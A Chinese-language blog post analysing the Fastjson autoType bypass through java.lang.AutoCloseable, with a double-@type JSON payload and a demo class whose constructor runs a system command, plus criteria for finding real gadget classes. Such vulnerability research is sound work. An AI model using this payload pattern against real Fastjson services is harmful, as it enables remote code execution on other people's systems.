
先抛出重点:
本次是 java.lang.AutoCloseable 导致的 exceptClass 为非 NULL,并且不在以下列表:
- Object.class
- Serializable.class
- Cloneable.class
- Closeable.class
- EventListener.class
- Iterable.class
- Collection.class
可以看 1.2.69 版本的补丁,可以看到 exceptClass 原本对这三个类比较的代码变成了比较 hash,说明作者不想我们猜出比较的类是什么.
目前我根据代码追踪,需要绕过 autoType 的类需要有以下其中一个特征:
1、acceptHashCodes 不在黑名单里的类(这个是必须要的条件)
2、INTERNAL_WHITELIST_HASHCODES 在白名单里的类
3、TypeUtils.mappings 字典里有这个类
4、autotypeFlag 为 true(这个是废话)
5、jsontypeFlag 为 true
6、exceptClassFlag 为 true
测试代码如下:
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;
public class Main {
public static void main(String[] args)
{
String payload21 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.p.Test1\",\"cmd\":\"calc.exe\"}";
JSON.parse(payload21);
}
}
自己写一个 Test1 的恶意类
package com.p;
import java.io.IOException;
public class Test1 implements AutoCloseable{
public Test1(String cmd){
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
运行

恶意类触发了。
demo 就是这样子,现在我们来找这样子的恶意类。因为恶意类的范围很多,所以我给下限定条件,其他的需要自己去找这个恶意类。
限定条件:
1、恶意类必须不在黑名单里
2、恶意类继承 AutoCloseable,因为 AutoCloseable 是接口类,所以恶意类 可以是实现了这个接口的子类。
3、恶意类不能是抽象类
4、恶意类有构造函数,且构造函数里能触发恶意操作
本文使用 mdnice 排版